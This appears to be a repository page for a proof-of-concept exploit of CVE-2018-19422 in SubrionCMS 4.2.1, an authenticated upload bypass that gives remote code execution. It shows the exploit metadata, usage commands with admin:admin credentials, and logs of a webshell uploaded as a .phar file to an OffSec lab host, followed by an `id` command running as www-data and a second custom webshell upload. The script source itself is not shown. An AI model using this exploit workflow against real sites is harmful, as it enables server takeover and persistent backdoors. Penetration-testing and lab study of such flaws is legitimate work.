drew-alleman/cve-2018-19422Subrion Обход загрузки файлов до RCE и пользовательская загрузка файлов (аутентифицированная) POC
# Exploit Title: File Upload Bypass to RCE (Authenticated)
# Google Dork: N/A
# Date: 17/05/2021
# Exploit Author: Drew Alleman
# Based on an exploit written by: Fellipe Oliveira
# Vendor Homepage: https://subrion.org/
# Software Link: https://github.com/intelliants/subrion
# Version: SubrionCMS 4.2.1
# Tested on: Debian9, Debian 10 and Ubuntu 16.04
# CVE : CVE-2018-19422
# Exploit Requirements: BeautifulSoup library
# https://github.com/intelliants/subrion/issues/801
$ python3 CVE-2018-19422.py -u http://exfiltrated.offsec/ -l admin -p admin
2025-04-03 19:23:36,723 [INFO] Connecting to login page: http://exfiltrated.offsec/panel/
2025-04-03 19:23:36,951 [INFO] CSRF token acquired: 0FaEOZZnQvcrmV6eS7LahriwTaO8rQpXvqpnHPCE
2025-04-03 19:23:36,951 [INFO] Attempting login to endpoint: http://exfiltrated.offsec/panel/ with credentials admin:admin
2025-04-03 19:23:48,533 [INFO] Login Successful!
2025-04-03 19:23:48,533 [INFO] Uploading default webshell...
2025-04-03 19:23:48,741 [INFO] Successfully uploaded file http://exfiltrated.offsec/uploads/opigcodbctnb.phar with 30 bytes of data
2025-04-03 19:23:48,905 [INFO] Webshell is live: http://exfiltrated.offsec/uploads/opigcodbctnb.phar
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 CVE-2018-19422.py -u http://exfiltrated.offsec/ -l admin -p admin --file ~/Downloads/ak47shell.php
2025-04-03 19:24:44,584 [INFO] Connecting to login page: http://exfiltrated.offsec/panel/
2025-04-03 19:24:44,757 [INFO] CSRF token acquired: 8b5kPv3umnEQTzdwMnPwTDFifxJ1isKKB6lIiInF
2025-04-03 19:24:44,757 [INFO] Attempting login to endpoint: http://exfiltrated.offsec/panel/ with credentials admin:admin
2025-04-03 19:24:57,199 [INFO] Login Successful!
2025-04-03 19:24:57,547 [INFO] Successfully uploaded file http://exfiltrated.offsec/uploads/ak47shell.phar with 57249 bytes of data